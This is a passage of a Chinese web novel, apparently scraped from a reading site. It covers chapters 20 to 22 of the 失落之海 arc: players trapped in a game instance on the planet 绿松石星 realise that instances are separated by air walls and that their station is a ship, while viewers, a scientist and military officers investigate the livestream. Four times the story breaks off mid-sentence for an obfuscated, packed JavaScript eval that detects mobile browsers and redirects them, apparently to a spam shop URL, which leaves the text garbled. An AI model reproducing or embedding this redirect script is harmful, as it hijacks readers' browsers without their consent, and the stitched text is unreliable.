;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114952|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是苛责，只是目睹着惨案又一次发生，而我却无能为力。”江显摇头。 “与其在这里黯然神伤，不如把你刚刚的新发现告诉我们，我们努力破解这个副本。” “我曾一直思考，地图之外是什么，无形的空气屏障后是什么。”沉默少顷后，江显嘴角微动，像是欣慰的笑，又像是某种悲伤情绪的掩饰，“现在，我找到答案了。” “空气墙另一面，是其他副本。” “整颗星球上，有千千万万个副本。” 这简直是语不惊人死不休。 “还有其他副本？”苏乐错愕地张开嘴。 陆寰则低下头，若有所思。 “是，先前我们讨论过这个问题——附近几艘飞船上那么多乘客都去哪儿了。” “如果他们都进入了副本，那包括我们在内的副本又有多少？ “如果以我们这样的规模，一个副本里有三个人计算，那少说也有数百个副本。” “这些副本分散平铺了整个星球，彼此紧挨着排列，之间只由一道空气墙相隔。它们彼此之间完全独立、又存在着某些联系。” “每个副本互不影响。就好像我之前说过的，我们这里树木的暴动不会传播到墙的另一面；与之相对的，他们那里树木的异动也不会影响到我们。” “那里的人，听不到我们的声音；也不会影响到我们的任务进程。” “他们在那个副本里有着和我们截然不同的身份设定，做着和我们截然不同的主线任务，遇见和我们这里截然不同的角色npc，看起来和我们毫无干系。” “但是，他们和我们身处于同一颗星球上。” “这颗叫做‘绿松石’的星球上，不同副本里都有变异的树，树根下一定也都藏着海洋，以此类推，包在果实里的白色蠕虫、被消化的怪鱼，一定都同样存在。” “我们拿到的并不是什么地图，只是无数碎片之一。” “而所有的碎片，最终拼凑而成的是一副恢弘地图。” “那是绿松石星的地图。” 陆寰思考了几秒，困惑地提问道：“那么按照你的意思，空气墙的确切作用就是分隔开不同副本了？使得不同区域内的树木不会联动？” “并不完全正确。”江显摇头，“控制那些‘树木附件’的并不是空气墙，而是——地图中央的巨树！” “就像我之前说的，巨树的动作和指令能够传递给这一地图区域的其他树木。当我们地图里树林翻涌时对面却风平浪静，那是因为对面区域受他们地图中央的那棵巨树控制！每一个地图中央都有一棵【变异的智树】；它们是这里所有副本的最终boss！” 江显的这些话太过颠覆性，陆寰听完作沉思状。 “那有没有什么办法能够让我们跨过屏障呢。这样或许我们能和其他副本的玩家交换信息。”陆寰提问。 听他这么提问，江显知道先前自己的反应太过激烈了。 “暂时还没有头绪。”江显说。 陆寰叹了口气：“既然是最终boss，那一定是极难解决的存在。幸好刚刚副本提示，boss复苏暂时停止，至少这对我们来说是个好消息。” 20. 失落之海20 苏乐仍然拧着眉头：“可是我们第一阶段的任务是3天内找到、或者说抵达失落的海。在那之后我们会被动进入阶段二。可如果我们在规定时间里没能完成阶段一的任务，就会被游戏抹杀！现在直接从巨树树根下抵达海洋不现实，我们还有其他方法吗？” 此话一出，三人又陷入了沉默。 江显摇摇头说：“不，第一阶段的致命威胁并不来自于‘没有找到海’。既然已经知道整片树林下都是海洋，也就是隐藏地图，我们随便找颗树挖下去也可以。死亡威胁必然来自其他方面。” “可是还有什么会必然导致我们在指定时间后集体团灭呢？”苏乐疑惑，“那一定是某种大规模事件。” 集体团灭？江显眼前一亮。 苏乐的这句无心之言反倒是提醒了她。 “我知道了！”她说。 另俩人朝她投去询问目光。 “目前我们已知的、且副本从一开始就在持续提醒我们的危险，是什么？”她反问。 “最终boss的苏醒进度。”陆寰回答，“从我们进副本的那一刻它就在无时不刻报告苏醒进度。” “没错。现在我们已经知道每个副本的最终boss都是地图中央的巨树。它正在复苏。它在尚未完全复苏之时就已经能够造成副本范围内整片树林的暴动。那么我们不妨假设一下，它在觉醒后会造成怎样的后果？” “更……更大范围的暴动？”苏乐迟疑。 江显点点头，继续引导：“我们的脚下是什么？” “……树木根系……和海？” “完全正确。那你还记得之前陆寰问向导关于‘捕鱼’的事情吗，当时向导说3天后出发。这个倒计时时间是和最终boss复苏、阶段一结束相重合的。” “我记得，我们当时疑惑的点是‘去哪里捕鱼’。但后来发现海在脚下。”苏乐点头。 “对。现在已知：巨木觉醒时我们就能去捕鱼，而捕鱼需要大规模的海域。那试想一下，当树木彻底开始狂舞时，又会发生什么？” “海……树木卷起海潮？海水淹没副本？！”苏乐恍然大悟。 “没错。第一阶段的3天时间是巨树复苏的倒计时。也是副本被海水淹没的倒计时。”江显点点头，“我们不会死于【没有找到海】，我们会死于没有意识到脚下有海、而被海水淹死。” “我们不是要【抵达海】，我们的真正任务是要【在海上存活】。这是副本和我们玩的文字游戏。” 苏乐震惊得说不出话来。 她的脸上短暂闪过一瞬的庆幸和振奋，但随即又皱起了眉。 “就算知道副本会被海水淹没，我们又能躲到哪里去呢？” 难道要像刚刚那样在树与树之间不断逃跑？那太不现实，他们的体力不足以支持他们长时间这样做。 “当然不！你还记得那些npc叫向导什么吗？”陆寰倒是一副恍然大悟的样子。 “霍列斯？”苏乐不解。 “我是说称呼。” “船长……？”。 “是了！”江显说，“进入副本的第一天，陆寰就问过我们一个问题——【船在哪儿】。现在这个问题的答案已经显而易见了。” 他们这个副本里唯一的建筑………… 苏乐一瞬间惊叫起来：“科考站！” 是科考站！ 科考站是一艘被困在异化树木中间的船！ 它曾在海上乘风破浪，载着船员们四处播撒那种奇怪的树木种子，最后被“冻在了”另一种“汹涌的翠绿色潮水”之中。 “所以，我们第四天结束时的主要任务不是去隐藏副本找海，而是确保留在船上，以免被复苏巨树带来的海啸淹死！”苏乐终于想明白了。 陆寰赞同地点头：“知道这些后，现在，我们又可以反推那俩个已触发的支线任务的目的了。” “支线任务1，【向导的秘密】，强调了向导曾经被叫做‘船长’；他和巨树有着未知的联系。这是在向我们强调最终boss不是向导，而是巨树。” “支线任务2，【永生轮回】，强调了这片树林里能够接触到怪鱼；并通过诱导我们寻找鱼、树木、果实和人之间的联系，提示我们海洋就在脚。” “这么看来，支线任务其实一直在暗示我们阶段二时会发生什么。” 江显听着他的分析频频点头。 “不如来猜一下，唯一剩下的支线任务3又会提示我们一些什么。”她说。 陆寰朝江显望了一眼，俩人的视线就这样对上。 “这个星球发生了什么。为什么科考队要来种树。”俩人相视一笑，异口同声说道。 显然这是眼下最可能的结果了。毕竟“精卫填海”都特么有前因后果呢，以这个副本的严谨程度来看，不像是会搞出“一群人莫名其妙突发奇想跑到一个陌生星球在海里种树”的戏码。 白天很快就要过去了，他们再度踏上了返回科考站的路。 剩余的时间，他们把其他三条地图边界线都走了一遍，并都亲眼目睹了屏障对面的树木暴动。 江显知道自己猜得没错，他们确实被副本环绕和簇拥着。他们只是无数方形格子中的一个。 * 直播间的观众们今天可谓是被一次又一次地惊掉了下巴。 [不是，刚刚才让蠕虫们自相残杀，现在又想到让树枝自相残杀了？] [之前切去别的直播看到战况惨烈，我还着实为他们担心了一阵子。害，真是害我瞎操心。] [江姐~你！是！我！的！神~~~] 当他们看到在江显指导下整支小队紧贴屏障，就那样惊险地躲过追兵并开始分析局势时，眼珠子都惊掉了。 [这得多胆大心细，才能观察到那些树枝的细微不同，从而作出推断并尝试？] [好离谱的方法，但是想到是江姐，倒也合理。] [有没有见多识广的观众大哥来现身说法一下，她的猜想保真吗？屏障到底是什么东西啊？] [回复楼上。这是真的。我一直在追的另一个直播，任务主线是玩家以一群生物学家的身份来研究树木变异事件。他们充分利用暴力，经过反复试验后也得出了同样的结论。没错，就是隔壁那个第一天一进副本就干掉5个npc的杀胚姐] [我擦，我记得那一组，他们也触发了一条支线。他们组是用暴力通关，但江姐他们是实打实地靠智力啊……] 这些人还没从震惊和感叹中回过味来，画面一变，就见江显在奋力捶打着那看不见的屏障。 而观众们能够清晰看到，在屏障的另一边，竟也是一个活生生的人。 许久，直播屏幕上都没人说话。 [呃，现在有人能方便给我透露一下，屏障另一边也是玩家吗？] 终于，世界观遭受冲击的一位观众犹豫着问道。 [千真万确。我5分钟前还看了他们的直播，他们小队的的确确遭遇了树林暴动。] [等等等等，有人能向我解释一下这到底是怎么回事吗？为什么两个副本的玩家能够相互看见？] [天哪！这简直是太匪夷所思了！我一直以为所有副本都有着相似的背景、环境和怪物只是为了降低建模和布景难度，这样副本设计者就只要偷懒更改主线任务和npc就行了。但我没想到，这些副本居然是在地理上相毗邻的！！！] [不是，我到现在还没有明白副本到底是什么？到底是谁构建了副本？那些玩家又是什么情况？如果副本是一场真人秀，那玩家的死亡场景也做得太逼真了；如果副本是一款虚拟游戏，那它的一切环境又为何那样逼真？] [回复楼上，不知各位有没有关注过前段时间的大规模飞船故障。和大家讲一个鬼故事，我的朋友在飞船上失联了……然后我在副本里看到了他……] ……………… 各种各样的猜测和质疑络绎不绝，察觉到异样的观众们展开了激烈争论。有人坚信副本是一场作秀，也有人声称是高等文明针对人类文明的科技震慑。 * “您觉得，这些直播又究竟是什么？” 无人回答。 “叶博士？叶博士？”研究员小心翼翼地喊着他这位上级。 上次的那声“白痴”给他幼小的心灵留下了严重阴影，他因此吸取了教训，打定主意以后再也不和上司聊工作之外的事情了。 叶泊把视线从电子运算屏幕前移开，神情恍惚。 研究员好奇地朝那些屏幕上的公式瞥了一眼，下一秒就悻悻地收回了目光。 这满屏蚂蚁一样密密麻麻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125758|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丑字，触控屏真的能识别出来吗？不会给出一个英文单词作为运算结果吗？ 研究员发自肺腑地表示佩服，一半给自己上级，一半给这超神电子屏。 “我不知道。” 出乎他预料地，他这位上级只给出了一声疲惫的回答。 研究员感到困惑，他偷偷打量着这间办公室。 他看到了一旁茶几上横七竖八的、十几杯浓缩咖啡的包装袋尸体。沙发上的小黄鸭被子皱成一团。 研究员想笑，但他没敢笑。 “您也不用这么拼命， 叶泊摘下眼镜，掏出纸巾擦了擦，对他的下属道：“坐。” 研究员战战兢兢地紧挨着小黄鸭被子坐下了。 叶泊重新戴上眼镜，问出一个毫不相干的问题：“知道那种老古董电视和收音机的工作原理吗？” 研究员摸不着头脑：“知道……” “对，就是把图像、声音信号在经过调制之后，借助无线电波进行传输，然后接收、解调，再然后图像和声音通过设备输出。后来随着技术更迭，又出现了卫星传输、光纤传播等等等等。” 研究员瞥瞥屏幕上那团演算，又不安地瞥瞥他的上级。他觉得他大概是疯了。 “现在一千多年过去了，随着覆盖全星际的星网建成，各种新型的通讯方式又不断涌现……啊，再说下去就要跑题了。” 研究员感到有些如坐针毡了。 “但是无论技术如何革新，万变不离其宗，这一切的传播媒介都是电磁波。因为它无需媒介、频率范围广、信息承载能力强。”叶泊自顾自地说下去。 “这些我在初中课本上都学到过。”研究员忍不住打断了他，“但是，博士，您现在进行如此复杂的演算又是为了什么？” “你看过最近很火的星际直播吧。”叶泊问道。 研究员意识到他完全忘了上次的那句“白痴”，立刻不再束手束脚：“对，看过。” “那你觉得，如果要完成一场几百个副本那样规模的直播，需要传播的信息又是什么级别的？” “应该不小，但并非完全无法做到。”研究员犹豫着回答。 “的确，倘若只是分别拍摄，再对视频信息进行调制，并非难事。可是如果这些视频和声音信息并不是真实录制并上传，而是完全虚构的呢？”叶泊注视着他，朝他扔出了一枚深水炸弹。 “您是什么意思，博士？” “我们都知道，人大脑的意识活动产生电信号，这些信号可以以电磁波的形式被检测到，最典型的例子就是脑电波、磁脑图。我的意思是，如果这些副本只是一些人大脑意识的活动，被用某种方式监测并进行信号编码、调制，然后负载在电磁波上然后再发送给星网，需要传播的信息量有多少？” “这……”研究员卡壳了。 先别提需要处理和传输的信息量有多大了，这种根据人脑电波活动来呈现脑中信息的技术还没出现呢。他根本就没法想象啊！ “所以，博士，您现在进行如此复杂的演算又是为了什么？”研究员又回到了这个话题。 “位于金天鹅座的一颗小行星，绿松石星，近期被检测到周围有异常的强烈电磁环境变化。我问‘瞭望者’星际舰上的老朋友要了一份关于电磁变化的资料，正试图对其进行解析和计算。” 研究员被他的话搞得一头雾水，紧张之下就开始口不择言：“博士，那您觉得副本是什么……” “有什么我们不知道的东西，正在朝人类的星网传送着直播副本这个难以估计数量级的信息！副本直播是一场全宇宙广播！” 叶泊自言自语着站起身。 他走到门口打开门，冲研究员做了个“请”的手势。 研究员呆头鹅一样地走出了房间。 门在他身后重重关上，但他还是听到了从中逸出的一声“白痴”。 研究员：？？？ 他要来干啥来着——噢，刚刚另一个部门的上级让他来问问叶博士对于副本的看法。 他现在非常委屈。 这次他也没和上司聊工作以外的事情啊？！ * 叶泊回到了他的演算屏幕之前。 他正在喃喃地说着什么。 “谁在茫茫宇宙，朝人类文明广播？” 21. 失落之海21 露西亚缓缓行走在星球表面。 这里没有森林，没有海，没有人类，有的只是辽阔的、平坦而一望无际的复合金属地面。 【氧气含量78%，大气压550hPa，空气湿度20%，温度5℃。未检测到高浓度H2S，NO等有毒或窒息性气体。放射性物质等级安全。】 【确认环境安全】 【心率120，血氧饱和度98%，呼吸16次/分】 【鉴于空气稀薄，不建议长时间摘除防护头盔。如需摘除，请随时准备好氧气瓶。】 耳边响起了防护服自带设备对于环境的评估。 露西亚手指摸了下脖子后的按钮，防护服内的压力开始缓慢下降，好让她的身体适应环境。 体内压力的持续下降让她有一些眩晕，但倘若不调整压力的话会更糟。人体内外过大的瞬间压力差会直接给呼吸循环系统乃至整个人造成不可逆损伤。 露西亚突然想起，她曾听说千年以前的人类潜水员们会得一种“沉箱病”，那是由于过快地在水中上浮，剧变的内外压使得血液中溶解的大量气体化为气泡，甚至可能导致肺血管被大量气泡栓塞。 那一千年过去了，人类的足迹早已行遍深海，向着天空和宇宙发起征途；然而在自然面前却依旧脆弱得像是个新生的婴儿。 面罩在眼前无声降落，露西亚深深地呼吸了一口气。 眼睛在不断适应，视野里的一切重新清晰起来了。 露西亚伸手想要抹掉鼻子下的血迹，但是血迹早已干了，她只擦下了一些暗红色像是铁锈一样的碎屑。 耳旁通讯器里电流刺啦刺啦的声音作响，她的队员们正在联系她。 露西亚和他们交换了着陆点方位信息，不久后整支特别行动队在这颗奇异的星球表面完成了汇合。 “上校，这里的磁场极度紊乱，我们无法和外界取得联系。”特别行动队的1号队员朝她报告。 露西亚皱着眉打开光脑，尝试着给叶博士发消息，不出预料失败了。 在与外界失联的情况下贸然深入一颗陌生星球并非明智之举，如果尽力尝试后他们仍无法解决这一问题，恐怕只能先返航寻求支援了。 “飞行器都还能正常起飞吗？”露西亚问。 1号说道，“部分飞行器的零部件因未知原因损坏，但万幸的是尚可替换和修复。我们恐怕需要一天左右的时间完成零件更换和重新调试。” 露西亚蹙眉：“着落时撞击所致？” 接下来的回答出乎她预料：“不，所有人员并未发生撞击。那些元件是莫名其妙就坏掉的。“ “维修大概需要多少人手？” “1/3。” “好。”露西亚已有定夺，“所有人兵分三路，一组跟随我在星球上进行初步探索，二组负责维修工作，三组原地待命，适时替补。” 整支队伍稍作休整，很快就各就各位了。 露西亚带着第一组漫无目的地走。 她不知道现在他们在寻找什么，又该去哪里找。 明明资料库显示这里到处是茂密的远古森林，他们在太空里看到的也是一颗绿色星球，但是真正踏足时却找不到一片绿色。 他们一直以来看到的，难道是一个幻象吗？ 他们走了约莫几个小时，眼前却唯有一些指挥塔和航站楼。这让她觉得自己仿佛置身于一个巨大的停泊港之上。但是这里静悄悄，一个人也没有。 谁制造了这些建筑？某些想要探索宇宙的母星吗？他们把这里当作是太空站和基地？ 无人回应她的疑惑。 人类分明在这留下了宏伟的科技造物，这里却仍沉睡在亘古的荒凉之中。 现在金天鹅星从地平线上升起来了，地面上和建筑上闪闪发亮，像是波光粼粼的海面，细小的光纹照在露西亚的脸上，画上一层细密的鱼鳞。 凛冽的气流吹过她的脸颊，她耳后的短发被扬起，扫进眼前。 世界在她眼前分割出现无数褐色的裂纹。 直觉告诉这位指挥官，这里并非真正的陆地。 稀薄的空气、低于正常的湿度和温度、疾行的风……一切的证据似乎都在表明，他们现在正置身于高空。 可是这里并非太空，甚至远远未达到这颗星球的同步卫星轨道高度，他们又是靠什么悬浮着的？ 露西亚结结实实跺了下脚，力量透过军靴传来震得她脚麻，但是地面连一丝震颤都没有。只有广袤的陆地才能给人这样脚踏实地的感觉。 如果这里不是陆地，那又是什么？ 为什么它距离资料上显示的地面足足高出了几千米？ 如果它真的是陆地，那唯一符合所有迹象的解释只能是，这些陆地是飘浮在空中的。 飘浮在空中……？露西亚被自己的想法吓到了。 如果这真的是一座浮空之城，它又依赖什么为动力进行悬浮？依靠什么来抵御气流和雨水？ 要托起这么大规模的一片陆地，所需要的能源又得是多大数量级的？它靠什么东西供能？又靠什么维持结构稳定？ 人类现有的技术，真的能达到这一点吗？ “上校，这里的磁场极其混乱。”一位队员将正在晕头转向的指南针展示到她眼前，“且这里的磁场强度极高，甚至高到了仪器无法读数的程度。” 露西亚隐约知道那些元件的损坏原因了，大概是什么铁钴镍磁性金属或其合金部件在强磁场中报废了。 “磁场……”露西亚作思索状自言自语。 他们在降落之前也遭遇了电磁紊乱的区域，这是否和一切异常都存在着某种联系？ 迷雾重重，露西亚不知怎么去找江显了。这里和她预料的完全不一样。 她在出发前做了俩手准备，既携带了氧气瓶和潜水装备；又带了攀登索之类的林间探险工具。 但是她现在到底应该干嘛？穿上潜水服，拿着攀登绳在陆地上吸氧吗？ 正在这时，旁边一道报告声打断了她的思维。 “上校！我们刚刚在排查地面设施时发现了异常！” 说话者神情震惊，活像是见了鬼。 “详细说说。” “我们发现地表上规律分布着一些小型电子单元，于是刚刚对其进行了拆解和分析。” “结果怎样？” “结果是我们发现，那是无数个光学元件，当它们规律排布并开启时会呈现出设定好的干扰图像！这就是为何我们刚刚在太空里看到这颗星球呈现出绿色，降落后却发现完全不一样！” 什么？？ 露西亚惊愕地凑过去。 下属把那设备上先前预设好的图像信息给她看，露西亚只看到了一片深浅不一的绿色。 它是那样单调，那样潦草和不起眼，仿佛是儿童拿着蜡笔的随手涂鸦，连一点具体信息都没有包含。 难以想象，无数这样的图像单元拼凑在一起，竟然为这颗星球绘上一层翠绿的外衣。 “然后……” “然后这些设备把虚假的图像传给望远镜，传给星网和人类！”露西亚神情凝重，“异常的磁场或许是为了荷载图像传输信息，也或许是有其他用处。总之这里绝不是一颗无人涉足的荒芜星球！” 绿松石星上的的确确有密不透风的绿色树林。 那些设备在它的上空模拟出蔽日的、本不存在的树冠层。 谁在这颗寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136907|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寥的行星上，制造出了任人追逐的幻影？ * “瞭望者”星际舰正在星海之间航行着，像是一条游弋在深海的鲸鱼。 指挥官办公室里，季勋负手而立，望着透明窗外那永不停息旋转着的星系。 他已经很大年纪了，头发花白，身体却硬朗得宛若年轻人；站在窗前时躯干挺拔得像是棵老松。 他的军装胸前挂满了勋章，肩章上闪烁的徽章刺着人的眼。那是他一生以来辉煌功绩的直接证明。 “季上将。”他的秘书敬了个礼，毕恭毕敬朝他报告，“又有两片【叶子】凋零了。” 季勋转过身来：“那是正常现象，科林。设备损耗老化是常态。更何况那地方气候恶劣风吹日晒，每年有两个图像单元失灵是正常速度。” 科林下意识低下头不敢与他对视。季勋的眼睛没有一丝老年人有的浑浊和昏黄，反而清得惊人；眼神看人时鹰隼一般犀利，仿佛没有什么不是他的猎物。 当他在窗边眺望宇宙时，科林知道，他并非是在欣赏那宏大的奇迹、也并非是畅想人类的未来亦或回顾族群磅礴的史诗。 他只是在透过那宛若年轻人的眼睛，用滔天的野心去窥视和觊觎那辽阔的宇宙。 科林见过他发表的无数慷慨激昂的演讲，其中许多的稿子甚至出自他之手。他本人更是这位指挥官的狂热拥护者，坚信着终归有一天，人类将征服整个宇宙。 “比起图像单元的状况，我更关心救援队的进度。”季勋说。 房间里有许多星球的虚幻影像，它们悬浮在空中，像是真实的星系一样缓缓转动。此刻，季勋手上正玩弄着一颗小行星。 “他们不可能组建起救援队的。”科林扶了扶鼻子上的金框眼镜，那下面藏着轻蔑的笑，“谁参与救援？谁打头阵？资金谁出？怎么救？功劳算谁的？光为这些问题他们就能开十几个会议。” “对这点我深信不疑。”季勋表示赞同，“但是总有些年轻后辈一腔孤勇，总想着要为人类做点什么。真是初生牛犊不怕虎。” “您说地球那个小姑娘？”科林说道，“地球方面我们已经施压过了。目前那里并无派出过大规模舰队。” “如此便好。”季勋点点头。 “另外还有一件事情要向您报告。是关于副本直播的。” “什么？” “据我们了解，副本的背景被设置在了【绿松石星】上。” “什么？”季勋神色一凝，“查到是谁干的了吗？” “暂时还没有，也许是某个不起眼只会躲在暗处使阴招的仇家。我们正尝试追踪信息源头。” “身居高位的人总会有很多仇家。”季勋点点头，“不能直接让它从星网消失吗？” 科林擦了擦头上不存在的汗滴：“这具有一定挑战性。我们无法确定它的来源，尚且还在查找它是通过哪条路径进行传输的。短时间内我们无法拦截它或是屏蔽它。” “那直播的性质呢？查出来了吗？为什么所有失事飞船上的乘客都进入了副本？” “……暂时还没有……”科林觉得头上汗更多了。 他这位上司到底是从哪儿得来的消息，得知了那些玩家的身份？这个消息明明五分钟前星舰技术部才刚刚得出，本来还想暂且隐瞒的。 “尽快吧。”季勋神色不变，手里却忽地狠狠一抓。他手里那颗小行星虚影无声湮灭，只留下一团绿莹莹的光团。 “是。”他答应着就要离开办公室。 “对了，科林。”季勋突然开口，“我在直播里看到了一位故人。” 科林回过头，发现季勋已经不知何时打开了光屏，那上面是一个年轻女性在茂密森林里的背影。 22. 失落之海22 副本外的观众们和研究人员们都炸开了锅，此刻副本里的三人却浑然不知。 当他们回到科考站时，汉斯又阴魂不散地凑了上来：“3天时间马上就要到了噢。” 三人想起了那个离谱的生鱼，胃里一阵恶心。 “哈哈，你记得真清楚。”陆寰打了个哈哈搪塞过去。 三人和汉斯在门口错身而过，尽量不起冲突。 依靠这种策略，他们一路避开了所有在科考站活动的npc。 “还剩最后一个晚上。在副本第二阶段开始前我们需要最后进行一次尝试，看看能否现在触发支线3。”陆寰说道。 “其实据我推测，支线任务3的触发点应该就在科考站（船）上。”江显分析说，“如果海水会淹没副本不是错误猜想，那之后我们就只能一直呆在船上，不管何时都能触发。” 话虽这么说，她仍然同意了那个提议。毕竟谁也不知道阶段二会发生哪些变故。他们还是尽可能提早下手好。 于是，他们聚在江显房间里，把这些天的所有经历从头梳理一遍，试图找出有哪些被遗漏了。 “我们在第一天时候参观过了整个科考站，并分别在向导和汉斯身上触发了一个支线，再后来我们就再也没有触发过支线了。“江显说。 这样的频率分布也太过不均了，如果不是触发支线还包含“在某地逛几次”这样的离奇条件的话，那很大概率说明，科考站上还有某一区域是他们没去过的。 可是这不应该啊？！厨房、餐厅、仓库、冷冻柜、整个二楼；就算是明令禁止的向导房间里他们也去过了。 到底还有哪儿是他们漏掉的。 江显思忖片刻，若有所思。 她问：“既然我们推测科考站是一艘船，那么作为一艘船，现在还缺少哪些部分？” “轮机操作室？驾驶间？”苏乐说。 “没错，我们从没见过哪里可以操控船只。假设支线任务3的触发地点确实是在科考站、我们推测是轮机室，且这个地点是某个我们没去过的地方。你们觉得是会在哪儿？”江显这么问着，心中却已经隐隐有了猜测。 “楼梯转角下那扇小门？”三人异口同声。 第一天时陆寰和苏乐曾为了拖延时间无意间提起那扇门。当时向导的神情显得十分戒备，显然是不想被人发现门后的秘密。 那次江显不在场，因此在听说“向导变异成鱼”之后并没有太多关注这一事件。现在想来，npc的精神波动不会无缘无故地升高，一定会有某个具体理由。 就好像她和陆寰当时触发了支线任务，相应npc精神波动升高；他们拒绝了汉斯和其他npc吃鱼的请求，他们的精神波动升高并异化。 那一次向导变成怪鱼，是因为她两位队友的无心之举就要触碰到副本秘密了！ 江显发现先前许多被忽略掉的细节正一点点在她脑子里重现。 这么看来，楼梯下的房间确实是目前最有可能的地点了。 “真是令人惊讶，却又在情理之中。”陆寰说，“当时向导还告诉我们‘很久没人去过了’，这同样和船被困在树林里正好对应上！第一天我们在发现了那扇门之后居然没有再深究它。它就这么从我们眼皮子底下溜走了。” “看来你本人也不是特别愿意帮向导去清理霉菌哈。”江显补刀，“不过在此之前我们都没有意识到科考站其实是船，因此也没想过它应该具备哪些功能区。” “现在想来，很多细节我们在一开始都忽略了。”陆寰微笑着摇摇头，“其实在第一天来到这里时我就觉得，整个科考站建筑本身就很怪异。它的走廊狭长，餐厅等公共区域不在走廊中央而在两端，布局显然是更像一艘船。况且它还配备有这样大型的冷冻库。”。 “大型冷冻库和船又有什么关系？”苏乐不解。 “很多船只在海上因为要航行许久，所以必须要足够大的冷冻库来对食物进行保鲜。此外，据说如果有人在船上不幸遇难的话，也会被放进冷冻库来对尸体进行防腐。所以有一种不知真假的说法是如果哪一天船上突然开什么大型冰激凌冷饮派对，那你大概率是完了。毕竟整个派对的目的不过是为了消耗冷饮给尸体腾位置罢了。”江显回答说。 “好恶心。”苏乐说，“幸好……” 她本想说“幸好这艘船上没有尸体”，但转念一想，npc和冷冻库里那些冻鱼的关系还没明确呢，立刻说不出话了。 江显继续说：“而且，我个人还有一些猜测，目前还没证据，只能说是直觉。” 陆寰：“什么？” “先前的两条支线任务，我们都是通过和npc的对话，或者说是交互才触发的。”江显陈述。 苏乐思考着她说的话，满脸困惑：“可是我们已经和这支小队的所有成员都打过照面了啊？！他们只想在餐厅里变成怪鱼吃掉我们！我们要找谁才能触发呢？” “不，还有我们没见过的。”陆寰插话。 然后俩人一起看向苏乐。 苏乐被这俩人意味深长的眼神弄得莫名其妙。她思考片刻，表情愈发奇怪起来。 “就是你想的那样。我们现在还鸠占鹊巢住着别人房间呢。”江显说着又看向陆寰，“看来‘我们不会在树林里遇到那三人’，但会在轮机室里遇到他们。” 她是在说他第一天时的猜测。 陆寰忍不住为自己辩解：“不管怎么说，也算是猜对了一半。地点错了罢了。” 江显被他的厚颜无耻噎住了。 迟钝如苏乐，也隐隐感受到这俩人之间的氛围似乎有些不同寻常了。 苏乐觉得，似乎从今天在树林里陆寰把江显拉上去救出险境开始，这俩人的行为就有些奇奇怪怪的。 她可是切实看到了当时江显不顾一切锤空气墙时，旁边陆寰那个说不清道不明的表情。 当时他紧抿着嘴，眉也紧蹙着。 真要她形容的话，那或许是……嫉妒？！ 她被自己这个想法吓到了。 嫉妒？嫉妒江显关心其他玩家？这说不通啊! 苏乐晃晃脑袋，把这些乱七八杂的念头从脑子里扔出去。 一定是她看错了，当时陆寰一定是为对面的玩家感到揪心呢。 她的两位队友思维敏捷，总是能迅速地理解彼此的意思，今天那件事后有能算是过命交情了。她在这个队伍里似乎隐隐有一种被排除在外的感觉。 这不免让她觉得有些不是滋味。 但是这沮丧也仅仅持续了一瞬。苏乐很快就调整了过来。 聪明人肯定更爱和聪明人说话，这是人之常情。她如此安慰自己。 有队伍里这俩大腿抱，她还挑啥呢！能活着回家就不错了！ 这么想着，她心情豁然了不少。 看了看屋内的俩人，苏乐决定不打断俩位佬的思考。他们探讨的问题可是直接关系到自己的小命呢。 于是她非常识趣地退了出去。 这下房间里只剩下陆寰和江显俩人。 “今天在屏障那里……为什么？”犹豫了片刻后陆寰打破了沉默。 “我是什么总是见死不救很冷血的人？”江显挑眉，“原来你这样看我。” “我不是那个意思。”陆寰蹙眉，“我只是……” “觉得以我的性格来看，不是那么容易情绪激动和对他人命运共情的？” “不。我只是觉得你当时非常迫切和强烈地想救那个人。但你不认识他。所以我感到困惑。”陆寰尽量装出一副在一本正经分析的样子。 “我突然大发善心。”江显咧嘴，一副满不在乎的样子，“这副本太危险了。早上差点就被树绞死了。人类在这种环境下更应该互帮互助。我这是要把你的善心传递下去呢。” “江显。”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149571|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寰说，“你没必要搪塞我。如果不想说的话这个话题我们可以立刻跳过。” 